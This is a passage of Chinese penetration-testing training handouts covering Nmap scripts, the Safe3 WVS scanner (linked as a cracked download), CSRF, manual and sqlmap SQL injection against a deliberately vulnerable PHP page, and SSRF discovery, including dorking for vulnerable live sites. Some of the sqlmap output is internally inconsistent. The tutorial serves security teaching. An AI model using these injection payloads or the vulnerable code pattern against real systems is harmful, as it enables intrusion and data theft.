257 | Read data files from: C:\Program Files (x86)\Nmap
258 | OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
259 | Nmap done: 1 IP address (1 host up) scanned in 15.21 seconds
260 | Raw packets sent: 1152 (54.954KB) | Rcvd: 1110 (48.462KB)
261 | ```
262 |
263 | 可以看出来没探测到什么东西,因为是路由器,大家这种情况认为是 Linux 就好了。
264 |
265 | ### 脚本(补充)
266 |
267 | Nmap 有个叫做 NSE 的脚本引擎,也自带了一些脚本,更多脚本可以去官网下载。
268 |
269 | 脚本的类型有:
270 |
271 | ```
272 | auth: 负责处理鉴权证书(绕开鉴权)的脚本
273 | broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
274 | brute: 提供暴力破解方式,针对常见的应用如http/snmp等
275 | default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
276 | discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
277 | dos: 用于进行拒绝服务攻击
278 | exploit: 利用已知的漏洞入侵系统
279 | external: 利用第三方的数据库或资源,例如进行whois解析
280 | fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
281 | malware: 探测目标机是否感染了病毒、开启了后门等信息
282 | safe: 此类与intrusive相反,属于安全性脚本
283 | version: 负责增强服务与版本扫描(Version Detection)功能的脚本
284 | vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
285 | ```
286 |
287 | 向命令行添加`--script=<类型>`来使用脚本。
288 |
289 | 下面演示了使用`default`脚本来探测主机上的服务。
290 |
291 | ```
292 | C:\Users\asus> nmap --script=default 192.168.1.1
293 |
294 | Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-22 11:10 ?D1ú±ê×?ê±??
295 | mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
296 | Nmap scan report for 192.168.1.1
297 | Host is up (0.0051s latency).
298 | Not shown: 993 closed ports
299 | PORT STATE SERVICE
300 | 21/tcp filtered ftp
301 | 22/tcp filtered ssh
302 | 23/tcp filtered telnet
303 | 53/tcp open domain
304 | | dns-nsid:
305 | |_ bind.version: dnsmasq-2.49
306 | 80/tcp open http
307 | |_http-title: Site doesn't have a title (text/html).
308 | 49152/tcp open unknown
309 | 49153/tcp open unknown
310 | MAC Address: 68:89:C1:74:84:43 (Huawei Technologies)
311 |
312 | Nmap done: 1 IP address (1 host up) scanned in 13.48 seconds
313 | ```
314 |
315 | ## 参考
316 |
317 | + [Nmap 脚本使用总结](http://www.2cto.com/article/201406/307959.html)
318 |
319 | + [Nmap 参考指南](https://www.gitbook.com/book/wizardforcel/nmap-man-page/details)
320 |
321 | + [Kali Linux 网络扫描秘籍 第三章 端口扫描(一)](http://www.jianshu.com/p/093b7386e1e8)
322 |
323 | + [Kali Linux 网络扫描秘籍 第三章 端口扫描(二)](http://www.jianshu.com/p/c484258dbc34)
324 |
325 | + [Kali Linux 网络扫描秘籍 第三章 端口扫描(三)](http://www.jianshu.com/p/29d97054217c)
326 |
--------------------------------------------------------------------------------
/工具篇 Safe3 WVS.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 工具篇 Safe3 WVS
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | ## 介绍
10 |
11 | Safe3 WVS 是一款使用较为领先的智能化爬虫技术及 SQL 注入状态检测技术的工具,相比国内外同类产品智能化程度更高,速度更快,结果更准确。
12 |
13 | 所以我们一般用它检测 SQL 注入漏洞。不过目前也可以利用这款工具进行反射 XSS 的挖掘,因为他可以通过自动化的载荷来测试并判断网页源码,从而判断是否存在反射型 XSS 漏洞。
14 |
15 | 
16 |
17 | ## 下载
18 |
19 | 首先需要下载并安装 .net 2.0 框架,XP 之前可以需要单独安装,Win7 之后都自带了。
20 |
21 | 然后在[吾爱云盘](http://down.52pojie.cn/LCG/Safe3WVS_10.1_Crack_By_Lkou[LCG].rar)下载 Safe3。
22 |
23 | 下载之后无需安装,直接打开使用即可。
24 |
25 | ## 注入漏洞的扫描
26 |
27 | 
28 |
29 | 打开程序主界面后,我们在上方的输入框中输入 URL。在漏洞设置分组框中选择“sql注入”和“xss”。然后如果需要设置 cookie 的话,在扫描设置分组框中输入 cookie,cookie 可以通过浏览器来获取,不同浏览器的获取方法不同。
30 |
31 | 
32 |
33 | 填写完毕之后点击“开始”按钮,扫描结束之后我们会在下方的列表框中看到漏洞信息。
34 |
35 | 
36 |
37 | 我们可以在列表框中点击右键,然后选择导出报表。
38 |
39 | 
40 |
41 | 
42 |
43 | 在 Safe3 的目录下,我们会看到一个`spider.log`,这个文件以纯文本的形式保存了漏洞信息。我们打开它:
44 |
45 | 
46 |
47 | 我们可以编写一个`python`文件来提取其中的 SQL 注入 URL:
48 |
49 | ```py
50 | # coding: utf-8
51 |
52 | fi = open('spider.log', 'r')
53 | fo = open('spider_sql.log', 'w')
54 |
55 | for line in fi.readlines():
56 | line = line.strip('\n')
57 | if 'sql注入' in line:
58 | url = line.split(' ')[0]
59 | print url
60 | fo.write(url)
61 | fo.write('\n')
62 |
63 | fi.close()
64 | fo.close()
65 | ```
66 |
67 | ## 附录
68 |
69 | Web 安全扫描器天梯:
70 |
71 | 
72 |
--------------------------------------------------------------------------------
/漏洞篇 CSRF.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 漏洞篇 CSRF
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
10 |
11 | CSRF 攻击的原理就是攻击者创建一个链接,受害者点击它之后就可以完成攻击者想要的操作,这些操作一般是删除文章,创建用户之类。比如某网站的删除文章链接是`http://www.xxx.com/post//delete`,那么攻击者可以直接构造出来发给有权限的人,它点击之后就可以将文章删除。当然,攻击者也可以使用当下流行的短网址服务来伪造 URL,避免受到怀疑。
12 |
13 | 与传统的认知相反, POST 方式并不能防止 CSRF,这是因为浏览器中的 JS 拥有发送 POST 请求的能力。比如攻击者可以编写一个带表单的页面,包含目标 URL 和所有所需字段,然后再用 JS 代码提交表单。之后把这个表单放到网络上可以访问的地方,再把这个链接发给受害者,诱导他点击。
14 |
15 | 所以这个东西也叫作“One Click”,意思就是说,整个攻击只通过一次点击来完成。换个角度,通过两次相关步骤来完成的操作就不会有这个问题。
16 |
17 | ## 利用
18 |
19 | 我们可以使用 OWASP 的 CSRF-Tester 来半自动利用 CSRF 漏洞,还可以生成用于利用的 exp 页面。
20 |
21 | 要注意的是,它不会为你判断是否存在 CSRF 漏洞,想想也知道,一个网站上的一次完成的操作简直太多了,那所有这些操作都存在 CSRF 漏洞吗?并不是,只有重要的,不可挽回的操作才能算 CSRF 操作,而这个是机器判断不了的。所以你首先要知道哪里有 CSRF 漏洞,才能使用工具。
22 |
23 | 我们用它来利用 yzcms,这是一款开源的 CMS。我们首先访问后台:
24 |
25 | 
26 |
27 | 我们点击右上方的添加管理员:
28 |
29 | 
30 |
31 | 当我们创建的时候,浏览器会向服务器发请求。我们就可以伪造这个请求,构造出 exp 页面,然后让已经登录的管理员去访问这个页面,就能成功创建管理员。
32 |
33 | 我们打开工具,我们看到工具一打开,就监听了本机的 8008 端口:
34 |
35 | 
36 |
37 | 我们需要将浏览器的代理配置为`127.0.0.1:8008`。然后点击`Start Recording`,它会开始抓取请求。
38 |
39 | 
40 |
41 | 这时我们返回 CMS 页面,模拟创建一个管理员:
42 |
43 | 
44 |
45 | 我们可以看到它捕获到了若干请求,POST 的那个就是创建管理员的请求。我们点击这个请求那一行,观察下方的`Form Parameters`,没有任何的 Token 验证。
46 |
47 | 
48 |
49 | 参数的值可以任意修改。我们看一看底下的`Report Type`,这个就是构造方式,可以选择使用`
";
93 | echo "无此记录
";
94 | }
95 | else
96 | {
97 | $row = mysql_fetch_row($res);
98 | echo "ID:$id
";
99 | echo "Info:${row[1]}
";
100 | }
101 | mysql_close($conn);
102 | ```
103 |
104 | 在文件目录下执行`php -S 0.0.0.0:80`,然后访问`http://localhost/sql.php`,然后就可以进行各种操作了。
105 |
106 | ## 手工注入:基于回显
107 |
108 | 基于回显的意思就是页面中存在显示数据库中信息的地方,通过注入我们就能把我们要查询的东西显示在页面上。一般页面中显示相关信息(比如帖子标题、内容)就能认为是基于回显的。
109 |
110 | ### 判断注入点
111 |
112 | 我们将`id`设为`1 and 1=1`,发现正常显示。
113 |
114 | 
115 |
116 | 将`id`设为`1 and 1=2`,显示“无此记录”。
117 |
118 | 
119 |
120 | 那么这里就很可能出现注入点。
121 |
122 | ### 判断列数量
123 |
124 | 我们下一步需要判断查询结果的列数量,以便之后使用`union`语句。我们构造:
125 |
126 | ```
127 | id=1 order by ?
128 | ```
129 |
130 | 其中问号处替换为从 1 开始的数字,一个一个尝试它们。直到某个数字 N 报错,那么列数为 N - 1。
131 |
132 | 例如我这里,先尝试 1,没有报错:
133 |
134 | 
135 |
136 | 尝试 2 也没有报错,然后尝试 3 的时候:
137 |
138 | 
139 |
140 | 出现了错误,说明列数是 2。
141 |
142 | ### 确定显示的列
143 |
144 | 我们可以构造语句了:
145 |
146 | ```
147 | 1 and 1=2 union select 1,2
148 | ```
149 |
150 | 
151 |
152 | 显示位置为 2 号位,而且只有一个显示位置。
153 |
154 | ### 查询用户及数据库名称
155 |
156 | 在 MySQL 中,`current_user`函数显示用户名称,`database`函数显示当前数据库名称。这里只有一个显示位置,为了方便起见,我们可以使用`concat`函数一次性显示出来。
157 |
158 | ```
159 | 1 and 1=2 union select 1,concat(current_user(),' ',database())
160 | ```
161 |
162 | 
163 |
164 | 可以看到这里的用户名称是`root`,数据库名称是`test`。如果在真实场景下遇到,基本就可以断定是 root 权限了。
165 |
166 | ### 查询表的数量
167 |
168 | MySQL 中有一个数据库叫做`information_schema`,储存数据库和表的元信息。`information_schema`中有两个重要的表,一个叫`tables`,储存表的元信息,有两列特别重要,`table_schema`是所属数据库,`table_name`是表名称。另一个表示`columns`,储存列的源信息,`table_name`列是所属表名称,`column_name`列是列名称。
169 |
170 | ```
171 | 1 and 1=2 union select 1,count(table_name) from information_schema.tables where table_schema=database()
172 | ```
173 |
174 | 
175 |
176 | 这里我们使用`count`函数查询出了表的数量,一共七个。这里我们只查询当前数据库,如果要查询全部,可以把`where`子句给去掉。
177 |
178 | ### 查询表名
179 |
180 | 因为它只能显示一条记录,我们使用`limit`子句来定位显示哪一条。`limit`子句格式为`limit m,n`,其中`m`是从零开始的起始位置,`n`是记录数。我们构造:
181 |
182 | ```
183 | 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit ?,1
184 | ```
185 |
186 | 我们需要把问号处换成 0 ~ 6,一个一个尝试,七个表名称就出来了。比如,我们获取第一个表的名称。
187 |
188 | 
189 |
190 | 它叫`email`,在真实场景下,这里面一般就是一部分用户信息了。如果第一个表示无关紧要的信息,可以继续寻找。
191 |
192 | ### 查询列数量
193 |
194 | 与表数量的查询类似,我们需要把所有`table`换成`column`。我们构造:
195 |
196 | ```
197 | 1 and 1=2 union select 1,count(column_name) from information_schema.columns where table_name='email'
198 | ```
199 |
200 | 
201 |
202 | 一共有两个。
203 |
204 | ### 查询列名
205 |
206 | 我们把`count`去掉,加上`limit`,就出来了:
207 |
208 | ```
209 | 1 and 1=2 union select 1,column_name from information_schema.columns where table_name='email' limit ?,1
210 | ```
211 |
212 | 同样,我们需要把问号替换为 0 和 1;
213 |
214 | 
215 |
216 | 我们这里查询结果为,第一列叫做`userid`,第二列叫做`email`。
217 |
218 | ### 查询行数量
219 |
220 | ```
221 | 1 and 1=2 union select 1, count(1) from email
222 | ```
223 |
224 | 
225 |
226 | ### 查询记录
227 |
228 | ```
229 | 1 and 1=2 union select 1,concat(userid,' ',email) from email limit ?,1
230 | ```
231 |
232 | 我们把问号替换为 0 和 1,就得到了所有的数据。
233 |
234 | 
235 |
236 | ## 手工注入:基于布尔值
237 |
238 | 在一些情况下,页面上是没有回显的。也就是说,不显示任何数据库中的信息。我们只能根据输出判断是否成功、失败、或者错误。这种情况就叫做盲注。
239 |
240 | 比如说,我们把上面的代码改一下,倒数第三行改为:
241 |
242 | ```php
243 | echo "存在此记录
";
244 | ```
245 |
246 | 这样我们就不能通过`union`把它显示到页面上。所以我们需要一些盲注技巧。这种技巧之一就是基于布尔值,具体来说就是,如果我们想查询整数值,构造布尔语句直接爆破;如果想查询字符串值,先爆破它的长度,再爆破每一位。
247 |
248 | ### 查询用户及数据库名称
249 |
250 | 基于布尔的注入中,判断注入点的原理是一样的。确定注入点之后我们直接查询用户及数据库名称(当然也可以跳过)。由于这种情况下所有查询都特别复杂,所以我们只选取其中一个,比如数据名称。
251 |
252 | 首先爆破数据库名称的长度,我们构造:
253 |
254 | ```
255 | 1 and (select length(database()))=?
256 | ```
257 |
258 | 问号处需要替换为数字,从 1 开始,直至出现正确的信息。为了简化操作,这里我们可以使用 Burp 了。
259 |
260 | 
261 |
262 | 它的长度为 4,这里我们再构造:
263 |
264 | ```
265 | 1 and (select substr(database(),$1,1))=$2
266 | ```
267 |
268 | 我们需要把`$1`替换成 1 ~ 4 的整数(`substr`从 1 开始),把`$2`替换成 a ~ z 、 0 ~ 9 以及`_`的 ASCLL 十六进制(SQL 不区分大小写)。这里我们最好把这些十六进制值存成一个列表,便于之后使用。
269 |
270 | 之后开始爆破(类型选择`cluster bomb`,第一个 payload 选择`number`,第二个 payload 选择`preset lists`):
271 |
272 | 
273 |
274 | 我们通过查表得知,结果为`test`。
275 |
276 | ## 查询表的数量
277 |
278 | ```
279 | 1 and (select count(table_name) from information_schema.tables where table_schema=database())=?
280 | ```
281 |
282 | 问号处替换为从一开始的数字。我们可以看到,数量为 7。
283 |
284 | 
285 |
286 | ## 查询表名
287 |
288 | 我们这里演示如何查询第一个表的表名。
289 |
290 | 首先查询表名长度。
291 |
292 | ```
293 | 1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=?
294 | ```
295 |
296 | 问号处换成从 1 开始的整数。长度为 5:
297 |
298 | 
299 |
300 | 之后,再爆破每个字符。
301 |
302 | ```
303 | 1 and (select substr(table_name,$1,1) from information_schema.tables where table_schema=database() limit 0,1)=$2
304 | ```
305 |
306 | `$1`配置为 1 ~ 5的整数,`$2`的配置为上面的列表。
307 |
308 | 
309 |
310 | 查表可得,结果为`email`。
311 |
312 | ## 查询列数量
313 |
314 | 我们下面演示查询`email`表的列数。
315 |
316 | ```
317 | 1 and (select count(column_name) from information_schema.columns where table_name='email')=?
318 | ```
319 |
320 | 问号处替换为从一开始的数字。我们可以看到,数量 2。
321 |
322 | 
323 |
324 | ## 查询列名称
325 |
326 | 作为演示,我这里查询第二列(`limit 1,1`)的名称。
327 |
328 | 首先需要查询其长度:
329 |
330 | ```
331 | 1 and (select length(column_name) from information_schema.columns where table_name='email' limit 1,1)=?
332 | ```
333 |
334 | 问号处换成从 1 开始的整数。长度为 5:
335 |
336 | 
337 |
338 | 之后爆破每个字符:
339 |
340 | ```
341 | 1 and (select substr(column_name,$1,1) from information_schema.columns where table_name='email' limit 1,1)=$2
342 | ```
343 |
344 | `$1`配置为 1 ~ 5的整数,`$2`的配置为上面的列表。
345 |
346 | 
347 |
348 | 结果是`email`。
349 |
350 | ## 查询行数量
351 |
352 | ```
353 | 1 and (select count(1) from email)=?
354 | ```
355 |
356 | 问号处替换为从一开始的数字。我们可以看到,数量为 2。
357 |
358 | 
359 |
360 | ## 查询记录
361 |
362 | 我们这里演示如何查询第一条记录的`email`列。
363 |
364 | 首先是长度:
365 |
366 | ```
367 | 1 and (select length(email) from email limit 0,1)=?
368 | ```
369 |
370 | 问号处替换为从一开始的数字。我们可以看到,长度为 17。
371 |
372 | 
373 |
374 | 之后爆破每个字符:
375 |
376 | ```
377 | 1 and (select substr(email,$1,1) from email limit 0,1)=$2
378 | ```
379 |
380 | `$1`配置为 1 ~ 17的整数,`$2`的配置为所有可见字符的十六进制 ascll 值(0x20 ~ 0x7e)。
381 |
382 | 这个时间有些长,就不演示了。
383 |
384 | ## SqlMap
385 |
386 | ### 下载
387 |
388 | 安装 Python 之后,执行
389 |
390 | ```
391 | pip install sqlmap
392 | ```
393 |
394 | 然后
395 |
396 | ```
397 | C:\Users\asus> sqlmap
398 | ___
399 | __H__
400 | ___ ___[,]_____ ___ ___ {1.1#pip}
401 | |_ -| . ['] | .'| . |
402 | |___|_ [']_|_|_|__,| _|
403 | |_|V |_| http://sqlmap.org
404 |
405 | Usage: sqlmap [options]
406 |
407 | sqlmap: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help
408 |
409 |
410 | Press Enter to continue...
411 | ```
412 |
413 | ### 判断注入点
414 |
415 | 直接使用`-u`命令把 URL 给 SqlMap 会判断注入点。
416 |
417 | ```
418 | sqlmap -u http://localhost/sql.php?id=
419 | ```
420 |
421 | 要注意这样 sqlmap 会判断所有的动态参数,要指定某个参数,使用`-p`:
422 |
423 | ```
424 | sqlmap -u http://localhost/sql.php?id= -p id
425 | ```
426 |
427 | 结果:
428 |
429 | ```
430 | [*] starting at 12:05:40
431 |
432 | [12:05:40] [WARNING] provided value for parameter 'id' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
433 | [12:05:40] [INFO] testing connection to the target URL
434 | [12:05:41] [INFO] heuristics detected web page charset 'utf-8'
435 | [12:05:41] [INFO] testing if the target URL is stable
436 | [12:05:42] [INFO] target URL is stable
437 | [12:05:44] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
438 | [12:05:46] [INFO] testing for SQL injection on GET parameter 'id'
439 | it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
440 | ```
441 |
442 | sqlmap 报告了参数`id`可能存在注入。
443 |
444 | 如果参数在 HTTP 正文或者 Cookie 中,可以使用`--data `以及`--cookie `来提交数据。
445 |
446 | ### 获取数据库及用户名称
447 |
448 | `--dbs`用于获取所有数据库名称,`--current-db`用于获取当前数据库,`--current-user`获取当前用户。
449 |
450 | ```
451 | C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id --current-db
452 |
453 | ...
454 |
455 | [12:10:44] [INFO] fetching current database
456 | [12:10:54] [INFO] retrieved: test
457 | current database: 'test'
458 | [12:10:54] [INFO] fetched data logged to text files under 'C:\Users\asus\.sqlmap\output\localhost'
459 |
460 | [*] shutting down at 12:10:54
461 | ```
462 |
463 | ### 获取表名
464 |
465 | `-D`用于指定数据库名称,如果未指定则获取所有数据库下的表名。`--tables`用于获取表名。
466 |
467 | ```
468 | C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id -D test --tables
469 |
470 | ...
471 |
472 | [12:13:25] [INFO] fetching tables for database: 'test'
473 | [12:13:28] [INFO] the SQL query used returns 7 entries
474 | [12:13:30] [INFO] retrieved: email
475 | [12:13:32] [INFO] retrieved: history
476 | [12:13:34] [INFO] retrieved: iris
477 | [12:13:36] [INFO] retrieved: message
478 | [12:13:38] [INFO] retrieved: result
479 | [12:13:40] [INFO] retrieved: sqlinj
480 | [12:13:42] [INFO] retrieved: test_table
481 | Database: test
482 | [7 tables]
483 | +------------+
484 | | email |
485 | | history |
486 | | data |
487 | | message |
488 | | result |
489 | | sqlinj |
490 | | test_table |
491 | +------------+
492 |
493 | [12:13:42] [INFO] fetched data logged to text files under 'C:\Users\asus\.sqlmap\output\localhost'
494 |
495 | [*] shutting down at 12:13:42
496 | ```
497 |
498 | ### 获取列名
499 |
500 | `-T`用于指定表名,`--columns`用于获取列名。
501 |
502 | ```
503 | C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id -D test -T email --columns
504 |
505 | ...
506 |
507 | [12:15:02] [INFO] fetching columns for table 'email' in database 'test'
508 | [12:15:04] [INFO] the SQL query used returns 2 entries
509 | [12:15:06] [INFO] retrieved: userid
510 | [12:15:08] [INFO] retrieved: varchar(16)
511 | [12:15:11] [INFO] retrieved: email
512 | [12:15:14] [INFO] retrieved: varchar(32)
513 | Database: test
514 | Table: email
515 | [2 columns]
516 | +--------+-------------+
517 | | Column | Type |
518 | +--------+-------------+
519 | | email | varchar(32) |
520 | | userid | varchar(16) |
521 | +--------+-------------+
522 |
523 | [12:15:30] [INFO] fetched data logged to text files under 'C:\Users\asus\.sqlmap\output\localhost'
524 |
525 | [*] shutting down at 12:15:30
526 | ```
527 |
528 | ### 获取记录
529 |
530 | `--dump`用于获取记录,使用`-C`指定列名的话是获取某一列的记录,不指定就是获取整个表。
531 |
532 | ```
533 | C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id -D test -T email --dump
534 |
535 | ...
536 |
537 | [12:16:59] [INFO] fetching columns for table 'email' in database 'test'
538 | [12:16:59] [INFO] the SQL query used returns 2 entries
539 | [12:16:59] [INFO] resumed: userid
540 | [12:16:59] [INFO] resumed: varchar(16)
541 | [12:16:59] [INFO] resumed: email
542 | [12:16:59] [INFO] resumed: varchar(32)
543 | [12:16:59] [INFO] fetching entries for table 'email' in database 'test'
544 | [12:17:01] [INFO] the SQL query used returns 2 entries
545 | [12:17:04] [INFO] retrieved: test2@example.com
546 | [12:17:06] [INFO] retrieved: 123
547 | [12:17:08] [INFO] retrieved: wizard.z@qq.com
548 | [12:17:10] [INFO] retrieved: 233837063867287
549 | [12:17:10] [INFO] analyzing table dump for possible password hashes
550 | Database: test
551 | Table: email
552 | [2 entries]
553 | +-----------------+-------------------+
554 | | userid | email |
555 | +-----------------+-------------------+
556 | | 123 | test2@example.com |
557 | | 233837063867287 | test@example.com |
558 | +-----------------+-------------------+
559 |
560 | [12:17:10] [INFO] table 'test.email' dumped to CSV file 'C:\Users\asus\.sqlmap\output\localhost\dump\test\email.csv'
561 | [12:17:10] [INFO] fetched data logged to text files under 'C:\Users\asus\.sqlmap\output\localhost'
562 |
563 | [*] shutting down at 12:17:10
564 | ```
565 |
566 | ## 文本型注入点
567 |
568 | 上面我们一直在讲解数值型注入点,如果我们把 SQL 语句
569 |
570 | ```php
571 | $sql = "select id, info from sqlinj where id=$id";
572 | ```
573 |
574 | 改为
575 |
576 | ```php
577 | $sql = "select id, info from sqlinj where id='$id'";
578 | ```
579 |
580 | 那么在测试的时候就会出现`1=1`和`1=2`都存在的情况。
581 |
582 |
583 | 
584 |
585 | 
586 |
587 | 这时我们就不知道它是过滤了还是真的有注入点。所以我们可以修改参数,用一个单引号闭合前面的引号,再用一个注释符号(`#`或者`-- `)来注释掉后面的引号:
588 |
589 | ```
590 | 1' and 1=1 #
591 | 1' and 1=2 #
592 | 1' order by ? #
593 | ...
594 | ```
595 |
596 | ## 附录
597 |
598 | + [The SQL Injection Knowledge Base](http://www.websec.ca/kb/sql_injection)
599 |
600 | + [新手指南:DVWA-1.9全级别教程之SQL Injection](http://www.freebuf.com/articles/web/120747.html)
601 |
602 | + [新手指南:DVWA-1.9全级别教程之SQL Injection(Blind)](http://www.freebuf.com/articles/web/120985.html)
603 |
604 | + [SqlMap用户手册](http://blog.csdn.net/wizardforcel/article/details/50695931)
605 |
606 | + [sqlmap用户手册(续)](http://blog.csdn.net/mydriverc2/article/details/41390319)
607 |
608 | + [MySQL 手工注入常用语句](http://blog.csdn.net/wizardforcel/article/details/59480461)
609 |
610 | + [Kali Linux Web 渗透测试秘籍 第六章 利用 -- 低悬的果实](http://www.jianshu.com/p/bd3daa312fe5)
611 |
612 | + [Kali Linux Web 渗透测试秘籍 第七章 高级利用](http://www.jianshu.com/p/f671bc45b7f1)
613 |
--------------------------------------------------------------------------------
/漏洞篇 SSRF.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 漏洞篇 SSRF
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | 很多 Web 应用都提供了从其他服务器上获取数据的功能。使用用户指定的 URL,web 应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的 Web 应用作为代理,攻击远程和本地服务器。这种形式的攻击成为服务器请求伪造(SSRF)。
10 |
11 | ## 原理
12 |
13 | ```php
14 | `标签或者``标签中的文本内容,作为显示,来提供更好的用户体验。例如,人人网分享功能中:
72 |
73 | 
74 |
75 | ```
76 | http://widget.renren.com/****?resourceUrl=****
77 | ```
78 |
79 | 通过目标 URL 地址获取了`title`标签和相关文本内容。如果在此功能中没有对目标地址范围做过滤与限制,就存在 SSRF 漏洞。
80 |
81 | 根据这个功能,我们可以发现许多互联网公司都有这样的功能,下面是我们从百度分享集成的截图,如下:
82 |
83 | 
84 |
85 | 从国内某漏洞提交平台上提交的 SSRF 漏洞,可以发现包括淘宝、百度、新浪等国内知名公司都曾发现过分享功能上存在 SSRF 漏洞。
86 |
87 | 2)转码服务:通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览
88 |
89 | 由于手机屏幕大小的关系,直接浏览网页内容时会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的演示。例如百度、腾讯、搜狗等公司都提供在线转码服务。
90 |
91 | 3)在线翻译:通过 URL 地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等
92 |
93 | 4)图片加载与下载:通过 URL 地址加载或下载图片
94 |
95 | 此功能用到的地方很多,但大多比较隐秘,比如有些公司加载自家图片服务器上的图片用于展示。(有些公司会把外站图片转存到自家服务器,所以在 HTTP 读取图片时就可能造成 SSRF 问题。)
96 |
97 | 5)图片、文章收藏功能
98 |
99 | 此处的文章收藏类似于分享功能中获取 URL 地址中的标题以及内容作为显示,目的还是为了更好的用户体验。图片收藏就类似于图片加载。
100 |
101 | 6)未公开的 API 实现以及其他调用 URL 的功能
102 |
103 | 此处类似的功能有 360 提供的网站评分,以及有些网站通过 API 获取远程地址 XML 文件来加载内容。
104 |
105 | 这些功能中除了分宜和转换服务为公共服务,其他功能均有可能在企业应用开发过程中遇到。
106 |
107 | ### URL 关键词寻找
108 |
109 | 根据对存在 SSRF 漏洞的 URL 地址特征的观察,通过我一段时间的手机,大致有一下关键字:
110 |
111 | + share
112 | + wap
113 | + url
114 | + image
115 | + link
116 | + src
117 | + source
118 | + target
119 | + u
120 | + 3g
121 | + display
122 | + sourceUrl
123 | + imageUrl
124 | + domain
125 |
126 | 如果利用 google 语法(`inurl:url=`)加上这些关键字去寻找 SSRF 漏洞,耐心的验证,现在还是可以找到存在的 SSRF 漏洞。
127 |
128 | ### 漏洞验证
129 |
130 | 例如:
131 |
132 | ```
133 | http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
134 | ```
135 |
136 | 排除法一:
137 |
138 | 你可以直接右键图片,在新窗口打开图片,如果浏览器上 URL 地址栏中是`http://www.baidu.com/img/bd_logo1.png`,则不存在 SSRF。
139 |
140 | 排除法二:
141 |
142 | 你可以使用 Burp 等抓包工具来判断是否是 SSRF,首先 SSRF 是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的,所以我们本地浏览器中的请求就不应该存在图片的请求,在此例子中,如果刷新当前页面,有如下请求,则可判断不是 SSRF。
143 |
144 | 
145 |
146 | 比如,图片是百度上的,你调用的是搜狗,浏览器向百度请求图片,那么就不存在 SSRF 漏洞。如果浏览器向搜狗请求图片,那么就说明搜狗服务器发送了请求,向百度请求图片,可能存在 SSRF。
147 |
148 | 此处说明下,为什么这边用排除法来判断是否存在 SSRF。举个例子:
149 |
150 | 
151 |
152 | 现在大多数修复 SSRF 的方法基本都是区分内外网来做限制。如果我们请求:
153 |
154 | ```
155 | http://read.******.com/image?umageUrl=http://10.10.10.1/favicon.ico
156 | ```
157 |
158 | 而没有内容显示,我们就无法判断此处不存在 SSRF,或者`http://10.10.10.1/favicon.ico`被过滤了,还是根本就没有这个图片。因为我们事先不知道这个地址的文件是否存在,我们判断不出是哪个原因,所以使用排除法。
159 |
160 | 实例验证:
161 |
162 | 经过简单的排除验证之后,我们就要验证看看此URL是否可以来请求对应的内网地址。在此例子中,首先我们要获取内网存在HTTP服务且存在favicon.ico文件的地址,才能验证是否是SSRF漏洞。
163 |
164 | 找存在HTTP服务的内网地址:
165 |
166 | 一、从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
167 |
168 | 二、通过二级域名暴力猜解工具模糊猜测内网地址
169 |
170 | 
171 |
172 | ```
173 | example:ping xx.xx.com.cn
174 | ```
175 |
176 | 可以推测`10.215.x.x`此段就有很大的可能:`http://10.215.x.x/favicon.ico`存在。
177 |
178 | 再举一个特殊的例子来说明:
179 |
180 | ```
181 | http://fanyi.baidu.com/transpage?query=http://www.baidu.com/s?wd=ip&source=url&ie=utf8&from=auto&to=zh&render=1
182 | ```
183 |
